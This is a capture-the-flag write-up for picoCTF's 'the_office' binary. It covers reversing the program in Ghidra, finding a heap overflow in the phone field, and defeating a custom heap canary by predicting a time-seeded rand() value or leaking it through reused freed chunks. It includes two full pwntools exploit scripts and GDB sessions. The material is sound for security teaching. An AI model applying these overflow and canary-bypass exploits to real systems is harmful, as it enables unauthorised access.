The Office
17 minutes to read
We are given a 32-bit binary called the_office
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The challenge says that they have implemented a secure heap using canaries.
We do not have the C source code. Hence, we need to use a reversing tool like Ghidra.
Although the file is stripped:
$ file the_office
the_office: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd5f440d82f17865303f292401c3e1ea843a0e25, stripped
We can identify the main
function because it is the argument of __libc_start_main
:
void entry() {
__libc_start_main(FUN_08048e49);
do {
/* WARNING: Do nothing block with infinite loop */
} while(true);
}
So we can rename it to main
, and here we have it:
undefined4 main(undefined4 param_1, undefined4 *param_2) {
undefined4 *puVar1;
char cVar2;
int iVar3;
int iVar4;
undefined4 uVar5;
int in_GS_OFFSET;
int local_64;
int local_60;
int local_5c;
int local_58;
int local_54;
int local_50 [11];
int local_24;
undefined *local_14;
puVar1 = param_2;
local_14 = (undefined *) ¶m_1;
local_24 = *(int *) (in_GS_OFFSET + 0x14);
setbuf(stdout, (char *) 0x0);
for (local_60 = 0; local_60 < 10; local_60 = local_60 + 1) {
local_50[local_60 + 1] = 0;
}
local_5c = 3;
do {
if (local_5c == 0) {
uVar5 = 0;
LAB_080490d4:
if (local_24 != *(int *) (in_GS_OFFSET + 0x14)) {
uVar5 = FUN_08049bd0();
}
return uVar5;
}
local_64 = -1;
if (local_5c == 2) {
puts("Employee #?");
iVar4 = __isoc99_scanf("%1d", &local_64);
if (((iVar4 == 1) && (-1 < local_64)) && (local_64 < 10)) {
do {
local_50[0] = getchar();
if (local_50[0] == 10) break;
} while (local_50[0] != -1);
FUN_08048cdc(local_50[local_64 + 1]);
local_50[local_64 + 1] = 0;
} else {
puts("Invalid ID.");
}
} else if (local_5c < 3) {
if (local_5c == 1) {
for (local_58 = 0;
(local_58 < 0xb &&
((local_64 = local_58, 9 < local_58 || (local_50[local_58 + 1] != 0))));
local_58 = local_58 + 1) {
}
iVar4 = local_64;
if (local_64 < 10) {
iVar3 = add_employee();
local_50[iVar4 + 1] = iVar3;
} else {
puts("Can\'t add any more employees.");
}
}
} else if (local_5c == 3) {
for (local_54 = 0; local_54 < 10; local_54 = local_54 + 1) {
if (local_50[local_54 + 1] != 0) {
print_employee(local_50[local_54 + 1], local_54);
}
}
} else if (local_5c == 4) {
puts("Employee #?");
iVar4 = __isoc99_scanf("%1d", &local_64);
if (((iVar4 == 1) && (-1 < local_64)) && (local_64 < 10)) {
do {
local_50[0] = getchar();
if (local_50[0] == 10) break;
} while (local_50[0] != -1);
get_access_token(local_50[local_64 + 1]);
} else {
puts("Invalid ID.");
}
}
cVar2 = debug(0);
if (cVar2 != '\x01') {
printf("*** heap smashing detected ***: %s terminated\n", *puVar1);
uVar5 = 0xffffffff;
goto LAB_080490d4;
}
local_5c = menu();
} while(true);
}
The code is a bit large. Let’s run it and see what it does:
$ ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
We have some functionalities. On the previous code for main
, I already identified some functions and renamed them. For example, this is get_access_token
:
void get_access_token(char *param_1) {
int iVar1;
FILE *__stream;
char *pcVar2;
int in_GS_OFFSET;
char local_90[128];
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
iVar1 = strncmp(param_1, "admin", 6);
if (iVar1 != 0) {
puts("Not admin");
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
FUN_08049bd0();
}
return;
}
__stream = fopen("flag.txt", "r");
if (__stream == (FILE *) 0x0) {
puts("Unable to open flag!");
/* WARNING: Subroutine does not return */
exit(-1);
}
pcVar2 = fgets(local_90, 0x7f, __stream);
if (pcVar2 != (char *) 0x0) {
puts(local_90);
fclose(__stream);
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Unable to read flag!");
/* WARNING: Subroutine does not return */
exit(-1);
}
As we can see, if the username for an employee is admin
, we can read the flag. This is the function to add an employee:
char * add_employee() {
int iVar1;
undefined4 uVar2;
int in_GS_OFFSET;
char local_9d;
char *local_9c;
size_t local_98;
char local_94;
char local_90[128];
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
local_9c = (char *) FUN_080494be(0x28);
if (local_9c == (char *) 0x0) {
puts("Ran out of memory!");
/* WARNING: Subroutine does not return */
exit(-1);
}
local_9d = '\0';
local_98 = 0;
printf("Name: ");
iVar1 = __isoc99_scanf("%15s", local_9c);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == L'\n') break;
} while (_local_94 != -1);
iVar1 = strncmp(local_9c, "admin", 6);
if (iVar1 == 0) {
puts("Cannot be admin!");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Email (y/n)? ");
iVar1 = __isoc99_scanf("%c", &local_9d);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == L'\n') break;
} while (_local_94 != -1);
if ((local_9d == 'n') || (local_9d == 'N')) {
*(undefined4 *)(local_9c + 0x10) = 0;
}
else {
printf("Email address: ");
iVar1 = __isoc99_scanf("%127s", local_90);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
local_98 = strnlen(local_90, 0x7f);
uVar2 = FUN_080494be(local_98 + 1);
*(undefined4 *) (local_9c + 0x10) = uVar2;
if (*(int *) (local_9c + 0x10) == 0) {
puts("Ran out of memory!");
/* WARNING: Subroutine does not return */
exit(-1);
}
strncpy(*(char **) (local_9c + 0x10), local_90, local_98);
*(undefined *) (local_98 + *(int *) (local_9c + 0x10)) = 0;
}
printf("Salary: ");
iVar1 = __isoc99_scanf("%u", local_9c + 0x14);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
printf("Phone #: ");
iVar1 = __isoc99_scanf("%s", local_9c + 0x18);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
printf("Bldg (y/n)? ");
iVar1 = __isoc99_scanf("%c", &local_9d);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
if ((local_9d != 'n') && (local_9d != 'N')) {
printf("Bldg #: ");
iVar1 = __isoc99_scanf("%u", local_9c + 0x24);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
}
putchar(10);
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
local_9c = (char *) FUN_08049bd0();
}
return local_9c;
}
In the code, we see that we cannot create an employee using admin
as username. Moreover, we observe that Phone #
is vulnerable to Buffer Overflow, because it does not limit the length of the string we can enter:
printf("Phone #: ");
iVar1 = __isoc99_scanf("%s", local_9c + 0x18);
We can try to overflow it:
$ ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: asdf
Email (y/n)? n
Salary: 1234
Phone #: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bldg (y/n)? n
*** heap smashing detected ***: ./the_office terminated
There is a canary protecting the heap overflow attacks. Let’s use GDB to see how the heap is handled:
$ gdb -q the_office
Reading symbols from the_office...
(No debugging symbols found in the_office)
gef➤ break puts
Breakpoint 1 at 0x8048600
gef➤ run
Starting program: ./the_office
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: AAAA
Email (y/n)? n
Salary: 255
Phone #: BBBB
Bldg (y/n)? n
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
To search for the heap addresses, we can simply search for AAAA
, which is the name of the employee:
gef➤ grep AAAA
[+] Searching 'AAAA' in memory
[+] In (0xf7ffb000-0xf7ffc000), permission=rw-
0xf7ffb00c - 0xf7ffb010 → "AAAA"
gef➤ x/32x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000fb4 0x00000035 0x00000000
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
That’s it, we have the canary there. To bypass it, we need to leak it or compute it before exploiting the Buffer Overflow vulnerability. Then, we can use the overflow to modify the name of the next employee and rename it as admin
.
Since it is a home-made canary, we can see how it is generated. Actually, there is a function inside the binary that prints some debugging information about the heap, but it is disabled. However, we have the decompiled source code:
undefined4 FUN_08049240() {
undefined4 uVar1;
uint __seed;
if (DAT_0804c070 == (void *) 0x0) {
DAT_0804c074 = mmap((void *) 0x0, 0x1000, 3, 0x22, -1, 0);
if ((DAT_0804c074 == (void *) 0xffffffff) || (DAT_0804c074 == (void *) 0x0)) {
puts("Memory Error :(");
uVar1 = 0;
} else {
__seed = time((time_t *) 0x0);
srand(__seed);
DAT_0804c06c = rand();
DAT_0804c078 = (int) DAT_0804c074 + 0x1000;
DAT_0804c070 = DAT_0804c074;
FUN_080491f0(DAT_0804c074, 0x1000 - DAT_0804c060, 0, 0, 1);
uVar1 = 1;
}
} else {
uVar1 = 1;
}
return uVar1;
}
It is using srand
to set a time-based seed and rand
to generate the canary using a Pseudo Random Number Generator (PRNG). This is really similar to seed-sPRiNG.
We can use a simple C code to generate a random number using the same method above:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char** argv) {
time_t t = time(0);
if (argc == 2) {
t += atoi(argv[1]);
} else {
exit(1);
}
srand(t);
printf("%d\n", rand());
return 0;
}
We can compile the code and use it like this:
$ gcc -o canary canary.c
$ ./canary 0
1073673904
$ ./canary 1
156048449
The number passed as argument is just an offset in case the remote instance is not synchronized with our local machine.
Let’s create another user using GDB and visualize the strategy:
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: CCCC
Email (y/n)? n
Salary: 127
Phone #: DDDD
Bldg (y/n)? n
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000035 0x00000035 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1a3e675e 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
If we remove the first employee, we see that its data is not erased:
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
2
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ continue
Continuing.
Employee #?
0
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000034 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000035 0x00000034 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1a3e675e 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
The only difference with the previous heap status is that there are some 0x34
instead of 0x35
(which means that the chunk is no more used, not allocated). This functionality tries to mimic free
, because if we create another employee, we overwrite this released chunk:
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: EEEE
Email (y/n)? n
Salary: 65535
Phone #: FFFF
Bldg (y/n)? n
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000035 0x00000001 0x45454545
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x0000ffff 0x46464646 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000035 0x00000035 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1a3e675e 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
At this point, we could have exploited the Buffer Overflow vulnerability (overwriting the canary with the same value) and modify the second employee’s username.
In order to automate it, we can use this Python exploit using pwntools
:
#!/usr/bin/env python3
from pwn import context, log, p32, process, remote, sys
context.binary = 'the_office'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def compute_canary(offset):
with context.local(log_level='CRITICAL'):
canary_process = process(['canary', str(offset)])
canary = int(canary_process.recvline().decode())
canary_process.close()
return canary
def add_employee(p, name=b'a', salary=b'1', phone=b'b'):
p.sendlineafter(b'token', b'1')
p.sendlineafter(b'Name: ', name)
p.sendlineafter(b'Email (y/n)? ', b'n')
p.sendlineafter(b'Salary: ', salary)
p.sendlineafter(b'Phone #: ', phone)
p.sendlineafter(b'Bldg (y/n)? ', b'n')
def main():
offset = 0
while True:
log.info(f'Testing offset: {offset}')
p = get_process()
canary = compute_canary(offset)
log.info(f'Computed heap canary: {hex(canary)}')
add_employee(p)
add_employee(p)
p.sendlineafter(b'token', b'2')
p.sendlineafter(b'Employee #?\n', b'0')
add_employee(p, phone=b'A' * 28 + p32(canary) + p32(0x35) * 2 + b'admin')
try:
p.sendlineafter(b'token', b'4')
except EOFError:
offset += 1
continue
p.sendlineafter(b'Employee #?\n', b'1')
break
log.success(f'Flag: {p.recvline().decode()}')
p.close()
if __name__ == '__main__':
main()
Notice that the malicious payload consists of 28 characters to reach the canary, then the random value of the canary (generated using the previous C code), then two 0x00000035
to keep the chunk metadata, and after that we put admin
as username for the second employee. Once there, we can just get the access token (the flag).
Let’s run it locally:
$ echo THISISTHEFLAG > flag.txt
$ python3 solve.py
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Testing offset: 0
[+] Starting local process './the_office': pid 2018360
[*] Computed heap canary: 0x25399862
[+] Flag: THISISTHEFLAG
[*] Process './the_office' stopped with exit code 0 (pid 2018360)
Now we can try it on the remote instance and get the flag:
$ python3 solve.py mercury.picoctf.net 24751
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Testing offset: 0
[+] Opening connection to mercury.picoctf.net on port 24751: Done
[*] Computed heap canary: 0xd83ff5c
[*] Testing offset: 1
[+] Opening connection to mercury.picoctf.net on port 24751: Done
[*] Computed heap canary: 0x4db603e
[+] Flag: picoCTF{cb3b0507a278ae12d2465d4c8ee30f31}
[*] Closed connection to mercury.picoctf.net port 24751
[*] Closed connection to mercury.picoctf.net port 2475
Alright, we have the flag. But now, let’s solve the challenge in another way: leaking the canary.
We saw before that we can add employees indicating an email and a building (Bldg
) if it applies. Let’s restart GDB and add four users (all combinations).
$ gdb -q the_office
Reading symbols from the_office...
(No debugging symbols found in the_office)
gef➤ run
Starting program: ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: AAAA
Email (y/n)? n
Salary: 15
Phone #: BBBB
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: CCCC
Email (y/n)? n
Salary: 127
Phone #: DDDD
Bldg (y/n)? y
Bldg #: 1
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: EEEE
Email (y/n)? y
Email address: aaaa
Salary: 255
Phone #: FFFF
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: GGGG
Email (y/n)? y
Email address: bbbb
Salary: 65535
Phone #: HHHH
Bldg (y/n)? y
Bldg #: 2
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
Now we can check the heap:
gef➤ grep AAAA
[+] Searching 'AAAA' in memory
[+] In (0xf7ffb000-0xf7ffc000), permission=rw-
0xf7ffb00c - 0xf7ffb010 → "AAAA"
gef➤ x/100x 0xf7ffb000
0xf7ffb000: 0x1c180451 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x0000000f 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1c180451 0x00000035 0x00000035 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000001 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1c180451 0x00000035 0x00000035 0x45454545
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0xf7ffb0cc
0xf7ffb0a0: 0x000000ff 0x46464646 0x00000000 0x00000000
0xf7ffb0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb0c0: 0x1c180451 0x00000015 0x00000035 0x61616161
0xf7ffb0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb0e0: 0x1c180451 0x00000035 0x00000015 0x47474747
0xf7ffb0f0: 0x00000000 0x00000000 0x00000000 0xf7ffb12c
0xf7ffb100: 0x0000ffff 0x48484848 0x00000000 0x00000000
0xf7ffb110: 0x00000002 0x00000000 0x00000000 0x00000000
0xf7ffb120: 0x1c180451 0x00000015 0x00000035 0x62626262
0xf7ffb130: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb140: 0x1c180451 0x00000eb4 0x00000015 0x00000000
0xf7ffb150: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb160: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb170: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb180: 0x00000000 0x00000000 0x00000000 0x00000000
Notice that the email is stored as a pointer to another chunk. If we increase the length of the email field, we are able to obtain a chunk that has the canary at the position where it would be placed the building number in an employee chunk (for instance, between 20 and 35 characters):
$ gdb -q the_office
Reading symbols from the_office...
(No debugging symbols found in the_office)
gef➤ run
Starting program: ./the_office
1) Exit
2) Add employee
3) Remove employee
4) List employees
5) Get access token
1
Name: AAAA
Email (y/n)? y
Email address: aaaaaaaaaaaaaaaaaaaaaaaa
Salary: 255
Phone #: BBBB
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
This is the heap:
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x73550262 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0xf7ffb04c
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x73550262 0x00000025 0x00000035 0x61616161
0xf7ffb050: 0x61616161 0x61616161 0x61616161 0x61616161
0xf7ffb060: 0x61616161 0x00000000 0x00000000 0x00000000
0xf7ffb070: 0x73550262 0x00000f84 0x00000025 0x00000000
0xf7ffb080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
Now the idea is to release the employee and add two new employees, without email:
gef➤ continue
Continuing.
2
Employee #?
0
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: CCCC
Email (y/n)? n
Salary: 127
Phone #: DDDD
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
3
Employee 0:
Name: CCCC
Email:
Salary: 127
Bldg #: 0
Phone #: DDDD
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: EEEE
Email (y/n)? n
Salary: 15
Phone #: FFFF
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
Now, we have overwritten some of the previous values of the heap. As a result, the second user is replacing the email
of the first employee:
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x73550262 0x00000035 0x00000001 0x43434343
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x73550262 0x00000035 0x00000035 0x45454545
0xf7ffb050: 0x61616100 0x61616161 0x61616161 0x00000000
0xf7ffb060: 0x0000000f 0x46464646 0x00000000 0x00000000
0xf7ffb070: 0x73550262 0x00000f84 0x00000025 0x00000000
0xf7ffb080: 0x73550262 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
And here we see that the second employee contains the canary value at the building (Bldg
) position. So we can list all employees and leak the canary:
gef➤ continue
Continuing.
3
Employee 0:
Name: CCCC
Email:
Salary: 127
Bldg #: 0
Phone #: DDDD
Employee 1:
Name: EEEE
Email:
Salary: 15
Bldg #: 1934951010
Phone #: FFFF
There we have it:
$ python3 -c 'print(hex(1934951010))'
0x73550262
What has happened is similar to a Use After Free vulnerability.
Now the exploitation is the same as before, but instead of computing the canary using a PRNG, we leak it. This is the Python exploit that solves the challenge in this way:
#!/usr/bin/env python3
from pwn import context, log, p32, process, remote, sys
context.binary = 'the_office'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def add_employee(p, name=b'a', email=None, salary=b'1', phone=b'b'):
p.sendlineafter(b'token', b'1')
p.sendlineafter(b'Name: ', name)
if email:
p.sendlineafter(b'Email (y/n)? ', b'y')
p.sendlineafter(b'Email address: ', email)
else:
p.sendlineafter(b'Email (y/n)? ', b'n')
p.sendlineafter(b'Salary: ', salary)
p.sendlineafter(b'Phone #: ', phone)
p.sendlineafter(b'Bldg (y/n)? ', b'n')
def main():
p = get_process()
add_employee(p, email=b'A' * 24)
p.sendlineafter(b'token', b'2')
p.sendlineafter(b'Employee #?\n', b'0')
add_employee(p)
add_employee(p)
p.sendlineafter(b'token', b'3')
p.recvuntil(b'Bldg #: ')
p.recvuntil(b'Bldg #: ')
canary = int(p.recvline().strip().decode())
log.info(f'Leaked heap canary: {hex(canary)}')
p.sendlineafter(b'token', b'2')
p.sendlineafter(b'Employee #?\n', b'0')
add_employee(p, phone=b'A' * 28 + p32(canary) + p32(0x35) * 2 + b'admin')
p.sendlineafter(b'token', b'4')
p.sendlineafter(b'Employee #?\n', b'1')
log.success(f'Flag: {p.recvline().decode()}')
p.close()
if __name__ == '__main__':
main()
It works both locally and remotely:
$ echo THISISTHEFLAG > flag.txt
$ python3 solve2.py
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './the_office': pid 2081382
[*] Leaked heap canary: 0x5c3b7895
[*] Process './the_office' stopped with exit code 0 (pid 2081382)
[+] Flag: THISISTHEFLAG
$ python3 solve2.py mercury.picoctf.net 24751
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to mercury.picoctf.net on port 24751: Done
[*] Leaked heap canary: 0x29df8536
[+] Flag: picoCTF{cb3b0507a278ae12d2465d4c8ee30f31}
[*] Closed connection to mercury.picoctf.net port 24751